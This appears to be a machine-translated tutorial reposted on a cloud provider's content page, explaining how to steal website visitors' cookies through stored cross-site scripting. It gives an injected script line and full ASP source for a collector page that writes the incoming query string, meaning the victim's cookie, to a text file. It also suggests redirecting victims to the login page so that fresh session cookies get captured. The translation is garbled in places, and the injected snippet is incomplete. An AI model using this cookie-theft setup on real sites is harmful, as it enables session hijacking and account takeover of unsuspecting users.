Use XSS to store cookies

Source: Internet
Author: User

Use XSS to store cookies:
Insert XSS statement <script> document. write (''); </script>
Cookies. asp is a file and website is a URL. we need to put the asp file into an accessible website. when you access the XSS page, the asp program is executed and the prompt box is not displayed, which is hidden.
-
Program code of Cookies. asp:
<%
Msg = Request. ServerVariables ("QUERY_STRING ")
Testfile = Server. MapPath ("Cookies.txt ")
Set fs = server. CreateObject ("scripting. filesystemobject ")
Set thisfile = fs. OpenTextFile (testfile, 8, True, 0)
Thisfile. Writeline ("" & msg &"")
Thisfile. close
Set fs = nothing
%>
Note: The cookies.txt file in the program directory will be stored in the recording msg.pdf.
-
Further extension: www.2cto.com

Of course, the user may not log on and then access our XSS page. To enable the user to log on and access it again, we can go to Cookies. at the end of asp, an automatic jump page is added to the logon page. The other party will subconsciously log on and open the page containing XSS statements again. at this time, we get the visitor's cookie (there are a lot of automatic jump code in ASP, so here we will not give an example here. Google will have more, better, and more detailed code)

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.